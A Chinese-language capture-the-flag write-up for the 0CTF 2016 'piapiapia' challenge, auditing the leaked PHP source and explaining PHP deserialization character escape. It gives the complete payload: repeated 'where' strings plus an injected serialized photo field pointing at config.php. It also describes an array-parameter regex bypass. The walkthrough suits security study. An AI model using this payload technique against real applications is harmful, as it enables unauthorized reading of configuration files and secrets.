[0CTF 2016]piapiapia解题详细思路及复现

题目链接
https://buuoj.cn/challenges#[0CTF%202016]piapiapia

1. 知识点
信息泄露
参数传递数组绕过字符串检测
反序列化字符逃逸

2. 开始复现

2.1 初探题目
开打题目连接我们可以看到是一个登录页面

不知道为啥我一看到登录页面就想SQL注入一波，我还是太年轻了。这道题没有给出提示，SQL注入也不是没有可能，尝试一波之后放弃了，CTF直接登录框就注入的还是不多。

注册账号
看来我们还是得老老实实得注册个账号来登录看看有什么功能点，并且熟悉网站结构。但是在登录页面又没有给出注册按钮，看来我们还得自己猜一下，通常是：/register.php。
浏览功能
登录成功后我们看到是一个上传个人信息的一个页面，看到可以上传图片，第一时间就想到了文件上传漏洞。我还是太年轻了，一波操作后没有饶得过。上传了一个正常的信息，发现跳转到profile.php展示出来我们的信息
目录扫面
功能都试过了，没有可以利用的地方（是我太菜）。我们可以扫一下目录，看看有什么隐藏的文件呀，信息泄露什么的，毕竟CTF很多题型是信息泄露+代码审计嘛。拿出御剑扫描后，浏览网页发现访问太快了，返回429状态码。看了网上大佬们的Writeup发现dirsearch可以扫描出来www.zip，我试了下dirsearch要记得加延时参数。
拿到了网站的源码我们的信息收集差不多就完了,我们现在可以在源码中寻找突破点

2.2 代码审计
熟悉网站结构
我们拿到的源码里的文件不是很多，class.php里有一些重要的函数，update.php和profile.php我们比较熟悉了，一个上传文件，一个获取文件。最重要的是config.php，我们看到flag在里面
根据前端流程细看可疑函数
注册和登录那一块就不用看了吧，主要突破的地方是上传资料和显示资料那里。

--- 首先是update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>

一眼可以看出这里用了一堆正则表达式来过滤我们提交的数据，而且第三个正则表达式和前面两个不一样，这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二，如果我们传入的nickname是一个数组，绕过长度的限制，则可以绕过这正则表达式，是我们不会die出。
在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库，而且还用了php序列化serialize()，我们可以大胆的尝试用反序列化漏洞来搞一下。
我们再看看update_profile()到底是个啥，使用全局搜索我们在class.php中看到了定义的update_profile()方法

    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

我们再继续追寻下去
filter()

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

update()

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

update.php我们基本上就搞清楚了，是先经过正则表达式将用户提交的参数值过滤，然后序列化，然后将非法的值替换为'hacker'

--- 然后我们再看profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First'); 
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以看到这里有反序列化还有文件读取，我们对这道题应该有了大致的思路了。flag在config.php中，而且有序列化，过滤替换，反序列化，文件读取，这不就是CTF中反序列字符逃逸的常见套路吗。我们构造包含config.php的数据，利用字符串逃逸，在profile.php中读取出来

2.3 反序列化字符逃逸知识补充

PHP反序列化字符逃逸
举个小例子
序列化

<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>

结果

string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"

反序列化

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" }

我们可以看到在后端中，反序列化是一";}结束的，如果我们把";}带入需要反序列化的字符串中（除了结尾处），是不是就能让反序列化提前结束后面的内容就丢弃了呢？
我们把第二个值abc换成abc";i:2;s:5:"qwert";}

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" }

成功的反序列化出我们自己定义的内容，丢弃了原先的内容（i:2;s:4:"defg"）
反序列化字符逃逸就先介绍到这里，我们回过头来看一下题

突破口
我们发现一个问题，我们反序列化字符逃逸，首先序列化的字符是可控的，还有前面的长度是可控的。但update.php将参数序列化，我们可控变量的长度就已经写死了，怎么才能去控制呢。这道题的突破口其实就是序列化过后数据过滤替换那里，看似更加安全，其实更加危险。

//过滤函数
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

这里是将'select', 'insert', 'update', 'delete', 'where'替换成'hacker'，我们写入where替换成hacker之后字符串实际的长度就+1，因此实际的长度大于序列化固定的长度（变量前面‘s’里的值）。利用反序列化字符串逃逸，反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功，这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag，并且让他在photo位置上，然后把photo给扔掉，这样在profile.php中读取的photo就是我们构造的config.php了，也就是读取到了flag
简单说就是利用后端的函数替换，导致实际长度增加，增加的部分（config.php）被挤了出来，到了photo的位置上，然后闭合。
再举个例方便大家理解

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
var_dump(unserialize($b));
?>

abc前面的s:3:不变，因为是序列化的时候固定了
我们将abc构造成：abc";i:2;s:5:"qwert";}我们再最后构造了一个闭合，导致defg被丢弃，qwert占用了defg原本的位置
还是回到这一道题上，我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去，这个的长度为34，所以我们要挤出来34位，不然就成了nickname的值了。where会替换成hacker，长度加1，所以我们要构造34个where。然后去profile.php查看读取的内容。

3.4 详细步骤

注册账户
登录账户
随意提交一些资料抓包
修改nickname为nickname[]，数组绕过长度检测
修改nickname中的内容

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

发包
去profile.php查看读取的文件，base64编码

成功获取falg

补充

之前我传入的是";s:5:"photo";s:10:"config.php";}结果失败了，看了网上的一些文章，发现他们传入的是";}s:5:"photo";s:10:"config.php";}为什么前面要多加一个}，后来发现是因为我们nickname构造成了数组，而不是字符，所以要加}闭合一下。